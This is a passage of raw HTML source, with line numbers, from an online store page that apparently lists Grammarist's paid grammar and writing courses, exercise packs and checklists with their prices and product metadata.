srcset="https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png 1024w, https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x164.png 300w, https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png 768w, https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2-600x327.png 600w, https://grammarist.com/wp-content/uploads/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png 1100w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist English-Proficiency Exercise Vault 1"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1435 hidden> 1436 Sale</div> 1437</div></div> 1438</div></div> 1439 1440 1441<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist English-Proficiency Exercise Vault"> 1442 1443 Grammarist English-Proficiency Exercise Vault 1444 </h2> 1445 1446 1447 1448<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1449 $90</div> 1450 1451 1452</div> 1453</div> 1454 1455 </a> 1456 </form> 1457 </li> 1458 1459 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108538"> 1460 <form 1461 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1462 data-wp-on--submit="callbacks.handleSubmit" 1463 data-wp-init="callbacks.init" 1464 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","archived":false,"available_stock":-1,"name":"Grammarist Proofreading Pro: Exercise Pack","permalink":"https:\/\/grammarist.com\/products\/exercise-pack\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"}}
1464,"selectedPrice":{"id":"4e02b03f-0309-4526-843a-b1681a815e37","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"4e02b03f-0309-4526-843a-b1681a815e37","ad_hoc":false,"amount":14700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$147","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1465 <a class="sc-product-item-link" href="https://grammarist.com/products/exercise-pack/"> 1466 1467 1468<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1469<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1470<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="Proofreading Pro Exercise Pack Featured Image" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-300x169.png 300w, https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png 768w, https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image-600x338.png 600w, https://grammarist.com/wp-content/uploads/Proofreading-Pro-Exercise-Pack-Featured-Image.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist Proofreading Pro: Exercise Pack 2"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1471 hidden> 1472 Sale</div> 1473</div></div> 1474</div></div> 1475 1476 1477<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist Proofreading Pro: Exercise Pack"> 1478 1479 Grammarist Proofreading Pro: Exercise Pack 1480 </h2> 1481 1482 1483 1484<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1485 $147</div> 1486 1487 1488</div> 1489</div> 1490 1491 </a> 1492 </form> 1493 </li> 1494 1495 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108537"> 1496 <form 1497 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1498 data-wp-on--submit="callbacks.handleSubmit" 1499 data-wp-init="callbacks.init" 1500 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","archived":false,"available_stock":-1,"name":"Grammarist GrammarGuard Checklist","permalink":"https:\/\/grammarist.com\/products\/grammarguard-checklist\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png 1680w","sizes":"(max-width: 768px) 100vw, 768px"}}
1500,"selectedPrice":{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","ad_hoc":false,"amount":9700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$97","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","ad_hoc":false,"amount":9700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$97","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1501 <a class="sc-product-item-link" href="https://grammarist.com/products/grammarguard-checklist/"> 1502 1503 1504<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1505<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1506<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="Grammarist Grammar Guru Guide 1" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-300x169.png 300w, https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-768x432.png 768w, https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1-600x338.png 600w, https://grammarist.com/wp-content/uploads/Grammarist-Grammar-Guru-Guide-1.png 1680w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist GrammarGuard Checklist 3"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1507 hidden> 1508 Sale</div> 1509</div></div> 1510</div></div> 1511 1512 1513<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist GrammarGuard Checklist"> 1514 1515 Grammarist GrammarGuard Checklist 1516 </h2> 1517 1518 1519 1520<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1521 $97</div> 1522 1523 1524</div> 1525</div> 1526 1527 </a> 1528 </form> 1529 </li> 1530 1531 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108536"> 1532 <form 1533 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1534 data-wp-on--submit="callbacks.handleSubmit" 1535 data-wp-init="callbacks.init" 1536 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"4614e2c8-27a1-4778-907a-65f093116ba6","archived":false,"available_stock":-1,"name":"Grammarist Master The Pen","permalink":"https:\/\/grammarist.com\/products\/master-the-pen\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"}}
1536,"selectedPrice":{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","ad_hoc":false,"amount":29700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$297","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","ad_hoc":false,"amount":29700,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$297","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1537 <a class="sc-product-item-link" href="https://grammarist.com/products/master-the-pen/"> 1538 1539 1540<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1541<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1542<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="Master the Pen Featured Image" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-300x169.png 300w, https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-768x432.png 768w, https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image-600x338.png 600w, https://grammarist.com/wp-content/uploads/Master-the-Pen-Featured-Image.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist Master The Pen 4"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1543 hidden> 1544 Sale</div> 1545</div></div> 1546</div></div> 1547 1548 1549<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist Master The Pen"> 1550 1551 Grammarist Master The Pen 1552 </h2> 1553 1554 1555 1556<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1557 $297</div> 1558 1559 1560</div> 1561</div> 1562 1563 </a> 1564 </form> 1565 </li> 1566 1567 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108535"> 1568 <form 1569 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1570 data-wp-on--submit="callbacks.handleSubmit" 1571 data-wp-init="callbacks.init" 1572 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","archived":false,"available_stock":0,"name":"Grammarist Practical Verb Tenses Mastery","permalink":"https:\/\/grammarist.com\/products\/verb-tense-mastery-course\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"}}
1572,"selectedPrice":{"id":"a1504034-35c1-404a-b713-8707bf98fba1","ad_hoc":false,"amount":9900,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$99","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"a1504034-35c1-404a-b713-8707bf98fba1","ad_hoc":false,"amount":9900,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$99","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},{"id":"d026e594-16bd-4a10-9952-1b0d94f1dc45","ad_hoc":false,"amount":100,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$1","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1573 <a class="sc-product-item-link" href="https://grammarist.com/products/verb-tense-mastery-course/"> 1574 1575 1576<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1577<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1578<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="Verb Tense Course 2" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-300x169.png 300w, https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-768x432.png 768w, https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2-600x338.png 600w, https://grammarist.com/wp-content/uploads/Verb-Tense-Course-2.png 1920w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist Practical Verb Tenses Mastery 5"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1579 hidden> 1580 Sale</div> 1581</div></div> 1582</div></div> 1583 1584 1585<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist Practical Verb Tenses Mastery"> 1586 1587 Grammarist Practical Verb Tenses Mastery 1588 </h2> 1589 1590 1591 1592<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;line-height:1"><div style="font-size:18px;font-style:normal;font-weight:600;margin-top:5px;margin-bottom:5px" class="wp-block-surecart-product-list-price"> 1593 $99</div> 1594 1595 1596</div> 1597</div> 1598 1599 </a> 1600 </form> 1601 </li> 1602 1603 <li class="sc-product-item sc-has-animation-fade-up" data-wp-key="post-template-item-108527"> 1604 <form 1605 data-wp-interactive='{ "namespace": "surecart/product-page" }' 1606 data-wp-on--submit="callbacks.handleSubmit" 1607 data-wp-init="callbacks.init" 1608 data-wp-context='{"formId":108516,"mode":"live","checkoutUrl":"https:\/\/grammarist.com\/checkout\/","urlPrefix":"","updateUrl":false,"product":{"id":"9f3827a3-0d30-4175-8c5a-a37fff463763","archived":false,"available_stock":0,"name":"Grammarist Freelance Writer\u0027s Roadmap","permalink":"https:\/\/grammarist.com\/products\/freelance-writer-s-roadmap\/","has_unlimited_stock":true,"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-2048x1152.png 2048w, https:\/\/grammarist.com\/wp-content\/uploads\/FWC-Freelance-Writing-Course-600x338.png 600w","sizes":"(max-width: 768px) 100vw, 768px"}}
1608,"selectedPrice":{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","ad_hoc":false,"amount":24900,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$249","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"},"prices":[{"id":"fafe621d-230e-4be9-a98e-f5d215ce9309","ad_hoc":false,"amount":24900,"archived":false,"currency":"usd","scratch_amount":null,"display_amount":"$249","converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","setup_fee_text":"","payments_text":"","interval_text":"","short_interval_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$"}],"variants":[],"quantity":1,"busy":false,"adHocAmount":0,"variantValues":[],"text":"Add to Cart","outOfStockText":"Sold Out","unavailableText":"Unavailable For Purchase","selectComponentOptionsText":"Select options","note":"","noteLabel":"","bundleComponentVariants":{},"bundleVariableComponentIds":[],"bundleComponents":{}}' > 1609 <a class="sc-product-item-link" href="https://grammarist.com/products/freelance-writer-s-roadmap/"> 1610 1611 1612<div class="wp-block-group has-base-2-background-color has-background is-layout-grid wp-container-core-group-is-layout-b102d036 wp-block-group-is-layout-grid" style="border-radius:10px;padding-top:15px;padding-right:15px;padding-bottom:15px;padding-left:15px"> 1613<div class="wp-block-group has-small-font-size wp-container-content-5dc44c30" style="border-radius:10px;min-height:600px;margin-bottom:-300px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px"><div class="wp-block-group__inner-container is-layout-constrained wp-container-core-group-is-layout-c603440f wp-block-group-is-layout-constrained"> 1614<div class="wp-block-cover is-light has-custom-content-position is-position-top-right has-aspect-ratio" style="border-radius:10px;margin-top:0;margin-bottom:0px;padding-top:0;padding-right:0;padding-bottom:0;padding-left:0;aspect-ratio:4/3;height:unset;min-height:unset;"><span aria-hidden="true" class="wp-block-cover__background has-background-dim-0 has-background-dim"></span><img decoding="async" width="1024" height="576" src="https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1024x576.png" class="wp-block-cover__image-background wp-post-image" alt="FWC Freelance Writing Course" data-object-fit="cover" srcset="https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-300x169.png 300w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-768x432.png 768w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-2048x1152.png 2048w, https://grammarist.com/wp-content/uploads/FWC-Freelance-Writing-Course-600x338.png 600w" sizes="(max-width: 1024px) 100vw, 1024px" title="Grammarist Freelance Writer's Roadmap 6"><div class="wp-block-cover__inner-container is-layout-flow wp-container-core-cover-is-layout-995e605f wp-block-cover-is-layout-flow"><div style="font-size:12px;border-radius:100px" class="sc-tag sc-tag--primary wp-block-surecart-product-sale-badge" data-wp-bind--hidden="!state.isOnSale" 1615 hidden> 1616 Sale</div> 1617</div></div> 1618</div></div> 1619 1620 1621<h2 style="font-size:20px;font-style:normal;font-weight:600;margin-bottom:5px;margin-top:0px" class="wp-block-surecart-product-title" aria-label="Grammarist Freelance Writer’s Roadmap"> 1622 1623 Grammarist Freelance Writer’s Roadmap 1624 </h2> 1625 1626 1627 1628<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-ed4d4cad wp-block-group-is-layout-flex" 